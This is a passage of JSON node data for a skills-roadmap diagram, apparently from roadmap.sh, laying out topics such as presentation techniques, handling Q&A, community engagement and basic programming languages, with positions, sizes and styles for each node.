\"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"c0w241EL0Kh4ek76IgsEs\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 241,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -315.11787473083643,\n        \"y\": 480.4541873081913\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 241,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 241,\n      \"height\": 49,\n      \"id\": \"urbtoZtuJryK-6TJ3lmRN\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -315.11787473083643,\n        \"y\": 428.4541873081913\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Social Media\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"X0xUzEP0S6SyspvqyoDDk\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 241,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -315.11787473083643,\n        \"y\": 428.4541873081913\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 241,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 263,\n      \"height\": 49,\n      \"id\": \"PFjF2PnYpSbvd24jb_D2G\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 77.11857813823781,\n        \"y\": 338.5755466544488\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Presentation Techniques\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"LRZ8yxTfEGCXsYp4N1_uD\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 263,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 77.11857813823781,\n        \"y\": 338.5755466544488\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 263,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 263,\n      \"height\": 49,\n      \"id\": \"vH_ECVYSQ3Fg-DASO1EgK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 77.11857813823781,\n        \"y\": 391.5755466544488\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Rules of Three\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"7MCmY1bABGPfmzjErADvg\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 263,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 77.11857813823781,\n        \"y\": 391.5755466544488\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 263,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 263,\n      \"height\": 49,\n      \"id\": \"_FZNqUKgPkzbgOPoiSLSU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 77.11857813823781,\n        \"y\": 444.5755466544488\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"PechaKucha\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"EjqJkyojhO7f1uFHIoyGY\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 263,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 77.11857813823781,\n        \"y\": 444.5755466544488\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 263,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 263,\n      \"height\": 49,\n      \"id\": \"Y0GUZynSXjITDOA-TP6LH\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 77.11857813823781,\n        \"y\": 497.5755466544488\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Storytelling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"1NFcpGzCJylRPbFYdD9bB\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 263,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 77.11857813823781,\n        \"y\": 497.5755466544488\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 263,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 263,\n      \"height\": 49,\n      \"id\": \"uwvvWmcZnFqLoHRDFXFyW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 77.11857813823781,\n        \"y\": 550.5755466544488\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Mind Mapping\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"_3ZnPUl4kzzuM0bKQ8IAq\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 263,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 77.11857813823781,\n        \"y\": 550.5755466544488\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 263,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 263,\n      \"height\": 49,\n      \"id\": \"SNhrYZsmyDHN_JWh0eZy2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 77.11857813823781,\n        \"y\": 603.5755466544488\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Visualization\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"IxRvVvX9Fax08YUbVob4s\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 263,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 77.11857813823781,\n        \"y\": 603.5755466544488\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 263,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 263,\n      \"height\": 49,\n      \"id\": \"iKYmUvWFT_C0wnO0iB6gM\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 77.11857813823781,\n        \"y\": 687.5755466544489\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Engaging Audience\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"PFjF2PnYpSbvd24jb_D2G\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 263,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 77.11857813823781,\n        \"y\": 687.5755466544489\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 263,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 263,\n      \"height\": 49,\n      \"id\": \"VTGsmk3p4RVXiNhDmx2l8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 77.11857813823781,\n        \"y\": 740.5755466544489\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"The Hook\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"vH_ECVYSQ3Fg-DASO1EgK\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 263,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 77.11857813823781,\n        \"y\": 740.5755466544489\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 263,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 263,\n      \"height\": 50,\n      \"id\": \"LixiZj3-QcmQgGAqaaDr6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 77.11857813823781,\n        \"y\": 793.5755466544489\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Contrast Principle\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"_FZNqUKgPkzbgOPoiSLSU\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 263,\n        \"height\": 50\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 77.11857813823781,\n        \"y\": 793.5755466544489\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 263,\n        \"height\": 50\n      }\n    },\n    {\n      \"width\": 263,\n      \"height\": 49,\n      \"id\": \"tbIAEStaoVWnEWbdk7EGc\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 77.11857813823781,\n        \"y\": 846.5755466544489\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Handouts\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Y0GUZynSXjITDOA-TP6LH\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 263,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 77.11857813823781,\n        \"y\": 846.5755466544489\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 263,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 263,\n      \"height\": 49,\n      \"id\": \"2iRt9E42i_ej4woKCW_s2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 77.11857813823781,\n        \"y\": 899.5755466544489\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Repetition & Reinforcement\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"uwvvWmcZnFqLoHRDFXFyW\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 263,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 77.11857813823781,\n        \"y\": 899.5755466544489\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 263,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 267,\n      \"height\": 49,\n      \"id\": \"Xf-Lxi1cKReo4yDLylBbL\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 75.36712187674084,\n        \"y\": 982.9174986269228\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Handling Q&A\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"iKYmUvWFT_C0wnO0iB6gM\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 267,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 75.36712187674084,\n        \"y\": 982.9174986269228\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 267,\n      \"height\": 49,\n      \"id\": \"UdUDngq425NYSvIuOd7St\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 75.36712187674084,\n        \"y\": 1035.9174986269227\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Active Listening\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"VTGsmk3p4RVXiNhDmx2l8\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 267,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 75.36712187674084,\n        \"y\": 1035.9174986269227\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 267,\n      \"height\": 49,\n      \"id\": \"jyScVS-sYMcZcH3hOwbMK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 75.36712187674084,\n        \"y\": 1088.9174986269227\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Anticipate Questions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"LixiZj3-QcmQgGAqaaDr6\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 267,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 75.36712187674084,\n        \"y\": 1088.9174986269227\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 267,\n      \"height\": 49,\n      \"id\": \"rhs6QwxZ7PZthLfi38FJn\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 75.36712187674084,\n        \"y\": 1141.9174986269227\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Be Concise\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"tbIAEStaoVWnEWbdk7EGc\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 267,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 75.36712187674084,\n        \"y\": 1141.9174986269227\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 267,\n      \"height\": 49,\n      \"id\": \"VSOdD9KKF_Qz8nbRdHNo3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 75.36712187674084,\n        \"y\": 1194.9174986269227\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Managing Difficult Questions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Nta8pUncwNQxJlqF6h1AT\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 267,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 75.36712187674084,\n        \"y\": 1194.9174986269227\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 241,\n      \"height\": 49,\n      \"id\": \"yJygbi8cnp3oz2EFl2MR0\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -315.11787473083643,\n        \"y\": 619.0755466544489\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Community Engagement\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"0ntOE6PSdMl_EXB9gdgIv\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 241,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -315.11787473083643,\n        \"y\": 619.0755466544489\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 241,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 241,\n      \"height\": 49,\n      \"id\": \"C2w8R4tNy2lOhhWU9l32s\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -315.11787473083643,\n        \"y\": 797.3174480188347\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Event Participation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"c0w241EL0Kh4ek76IgsEs\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 241,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -315.11787473083643,\n        \"y\": 797.3174480188347\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 241,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 241,\n      \"height\": 49,\n      \"id\": \"gvMbo22eRxqOzszc_w4Gz\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -315.11787473083643,\n        \"y\": 745.3174480188347\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Online Communities\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"X0xUzEP0S6SyspvqyoDDk\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 241,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -315.11787473083643,\n        \"y\": 745.3174480188347\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 241,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 241,\n      \"height\": 49,\n      \"id\": \"SJf9e7SQnzYVHoRWl0i6P\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -315.11787473083643,\n        \"y\": 693.3174480188347\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Networking\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"urbtoZtuJryK-6TJ3lmRN\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 241,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -315.11787473083643,\n        \"y\": 693.3174480188347\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 241,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"i09aV_MOrMcc6FX7I8teg\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 43.23316140701053,\n        \"y\": 322.7605969885771\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 4,\n          \"strokeDasharray\": \"0\",\n          \"strokeLinecap\": \"round\"\n        },\n        \"oldId\": \"3edfFsVKBrFBSRUodcfEN\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 731,\n      \"positionAbsolute\": {\n        \"x\": 43.23316140701053,\n        \"y\": 322.7605969885771\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 731\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 731\n      }\n    },\n    {\n      \"id\": \"POcRkF3dnnUCt2WQX71B-\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 50,\n        \"y\": 316\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 4\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 289,\n      \"height\": 20,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 50,\n        \"y\": 316\n      },\n      \"style\": {\n        \"width\": 289,\n        \"height\": 20\n      },\n      \"resizing\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 289,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"4t3XhDI8YLK6ucf5YyvdU\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 52,\n        \"y\": 663.0755466544489\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 4\n        },\n        \"oldId\": \"POcRkF3dnnUCt2WQX71B-\"\n      },\n      \"zIndex\": 999,\n      \"width\": 289,\n      \"height\": 20,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 52,\n        \"y\": 663.0755466544489\n      },\n      \"style\": {\n        \"width\": 289,\n        \"height\": 20\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 289,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"_4Ubxcll8Qub02pbrhLxr\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 52,\n        \"y\": 957.9174986269228\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 4\n        },\n        \"oldId\": \"4t3XhDI8YLK6ucf5YyvdU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 289,\n      \"height\": 20,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 52,\n        \"y\": 957.9174986269228\n      },\n      \"style\": {\n        \"width\": 289,\n        \"height\": 20\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 289,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"0gSwPbeglDlcfW9wNOdjE\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -314.61787473083643,\n        \"y\": 588.0755466544488\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 4\n        },\n        \"oldId\": \"4t3XhDI8YLK6ucf5YyvdU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 244,\n      \"height\": 20,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -314.61787473083643,\n        \"y\": 588.0755466544488\n      },\n      \"style\": {\n        \"width\": 244,\n        \"height\": 20\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 244,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"vfypDCmYXeqPxm6lIly2r\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -683.0457461230792,\n        \"y\": 552.0755466544489\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Technical Skills\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 16,\n          \"textAlign\": \"left\"\n        },\n        \"oldId\": \"ocnvHsixvBpr2fvjtqFmU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 181,\n      \"height\": 67,\n      \"positionAbsolute\": {\n        \"x\": -683.0457461230792,\n        \"y\": 552.0755466544489\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 181,\n        \"height\": 67\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 181,\n        \"height\": 67\n      }\n    },\n    {\n      \"width\": 242,\n      \"height\": 49,\n      \"id\": \"aSYXa25_0O2qQl1O-N3xl\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -714.0482259900746,\n        \"y\": 428.4541873081913\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Basic Programming Skills\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"0ntOE6PSdMl_EXB9gdgIv\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 242,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -714.0482259900746,\n        \"y\": 428.4541873081913\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 242,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_xPaDBsBUmWfkIivfFur4\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -713.3901779625485,\n        \"y\": 368.77807212654074\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Python\",\n        \"href\": \"https://roadmap.sh/python\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#2a79e4\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 242,\n      \"height\": 49,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -713.3901779625485,\n        \"y\": 368.77807212654074\n      },\n      \"style\": {\n        \"width\": 242,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 242,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3JxlHbXbFJs5La3FfrYdv\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -713.3901779625485,\n        \"y\": 261.77807212654074\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"JavaScript\",\n        \"href\": \"https://roadmap.sh/javascript\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#2a79e4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"_xPaDBsBUmWfkIivfFur4\"\n      },\n      \"zIndex\": 999,\n      \"width\": 114,\n      \"height\": 49,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -713.3901779625485,\n        \"y\": 261.77807212654074\n      },\n      \"style\": {\n        \"width\": 114,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 114,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"gnOX9WQScsTWMCK6IKcuR\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -713.3901779625485,\n        \"y\": 314.77807212654074\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Go\",\n        \"href\": \"https://roadmap.sh/golang\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#2a79e4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"3JxlHbXbFJs5La3FfrYdv\"\n      },\n      \"zIndex\": 999,\n      \"width\": 114,\n      \"height\": 49,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -713.3901779625485,\n        \"y\": 314.77807212654074\n      },\n      \"style\": {\n        \"width\": 114,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 114,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"0L5OfMDGnVY8Pij-g3tfH\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -596.0482259900746,\n        \"y\": 314.77807212654074\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Rust\",\n        \"href\": \"https://roadmap.sh/rust\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#2a79e4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"gnOX9WQScsTWMCK6IKcuR\"\n      },\n      \"zIndex\": 999,\n      \"width\": 124,\n      \"height\": 49,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -596.0482259900746,\n        \"y\": 314.77807212654074\n      },\n      \"style\": {\n        \"width\": 124,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 124,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"h0hAaK8iXjX0Gw_mE4TtY\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -596.0482259900746,\n        \"y\": 261.77807212654074\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Node.js\",\n        \"href\": \"https://roadmap.sh/nodejs\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#2a79e4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"3JxlHbXbFJs5La3FfrYdv\"\n      },\n      \"zIndex\": 999,\n      \"width\": 124,\n      \"height\": 49,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -596.0482259900746,\n        \"y\": 261.77807212654074\n      },\n      \"style\": {\n        \"width\": 124,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 124,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 178,\n      \"height\": 49,\n      \"id\": \"KdFYmj36M2jrGfsYkukpo\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -682.0482259900746,\n        \"y\": 671.3320106338044\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"IDEs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"aSYXa25_0O2qQl1O-N3xl\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 178,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -682.0482259900746,\n        \"y\": 671.3320106338044\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 